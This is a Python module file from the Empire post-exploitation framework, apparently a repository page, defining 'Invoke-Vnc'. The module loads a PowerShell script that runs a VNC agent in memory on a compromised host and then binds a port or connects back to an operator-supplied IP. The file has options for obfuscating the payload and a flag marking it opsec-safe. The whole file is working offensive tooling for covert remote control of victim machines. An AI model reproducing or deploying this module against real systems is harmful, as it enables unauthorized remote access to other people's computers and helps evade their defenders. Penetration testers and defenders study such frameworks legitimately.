Empire/lib/modules/powershell/management/vnc.py

108 lines
3.6 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Vnc',
'Author': ['@n00py'],
'Description': ('Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/artkond/Invoke-Vnc'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Port' : {
'Description' : 'Port to Use.',
'Required' : True,
'Value' : '5900'
},
'Password' : {
'Description' : 'Password to use.',
'Required' : True,
'Value' : 'password'
},
'ConType' : {
'Description' : 'Connection type, choose \"bind\" or \"reverse\".',
'Required' : True,
'Value' : 'bind'
}
,
'IpAddress' : {
'Description' : 'IP Address to use for reverse connection.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
moduleName = self.info["Name"]
# read in th Invoke-Vnc.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = "\nInvoke-Vnc"
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
scriptEnd += " -" + str(option)
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script